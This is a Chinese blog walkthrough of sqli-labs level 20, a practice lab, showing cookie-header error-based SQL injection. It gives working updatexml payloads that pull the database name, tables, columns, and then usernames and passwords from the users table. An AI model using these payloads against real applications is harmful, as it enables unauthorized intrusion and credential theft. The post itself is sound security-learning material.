sqli-labs关卡20(基于http头部报错盲注)通关思路

文章目录


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、回顾上一关知识点

通过上一关的referer字段的注入,我们更加熟悉了http头部注入。这一关也是http头部注入,只是换地方了

二、靶场第二十关通关思路

  • 1、判断注入点
  • 2、爆数据库名
  • 3、爆数据库表
  • 4、爆数据库列
  • 5、爆数据库关键信息

1、判断注入点

发现第二十关的界面啥都没有了,按照之前通关的思路。我们先把测试账号admin登录进去,发现有记录cookie的信息回显到页面。(如图所示)

从上两关总结的经验得到,这一次应该就是http头部的cookie注入了。我们重新登录admin抓包,果然发现请求包有cookie值。这里我们使用and 1=1 和 and 1=2,发现页面正常,说明不是数字型。我们直接提交1'发现报错,报错信息为

Issue with your mysql: You have an error in your SQL syntax; check the

manual that corresponds to your MySQL server version for the right

syntax to use near ''admin'' LIMIT 0,1' at line 1

通过报错信息我们可以构造payload,发现就是简单的单引号闭合

php 复制代码
uname=admin'#

2、爆数据库名

注入语句为

php 复制代码
' and updatexml(1,concat(0x3a,(select database()),0x3a),1)#

3、爆数据库表

注入语句为

php 复制代码
' and updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1)#


得到关键数据库表名users

4、爆数据库列

注入语句为

php 复制代码
' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1)#
php 复制代码
' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1)#

得到关键数据库列username,password

5、爆数据库关键信息

注入语句为

php 复制代码
' and updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1)#
php 复制代码
' and updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1)#

得到账号密码


总结

这一关和前几关都差不多,只是注入点不一样罢了。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

相关推荐
不可能的是7 小时前
前端 SSE 流式请求三种实现方案全解析
前端·http
Jony_2 天前
高可用移动网络连接
网络协议
chilix2 天前
Linux 跨网段路由转发配置
网络协议
一次旅行4 天前
网络安全总结
安全·web安全
DianSan_ERP4 天前
电商API接口全链路监控:构建坚不可摧的线上运维防线
大数据·运维·网络·人工智能·git·servlet
呉師傅4 天前
火狐浏览器报错配置文件缺失如何解决#操作技巧#
运维·网络·windows·电脑
gihigo19984 天前
基于TCP协议实现视频采集与通信
网络协议·tcp/ip·音视频
tryCbest4 天前
数据库SQL学习
数据库·sql
2501_946205524 天前
晶圆机器人双臂怎么选型?适配2-12寸晶圆的末端效应器有哪些?
服务器·网络·机器人
linux kernel4 天前
第七部分:高级IO
服务器·网络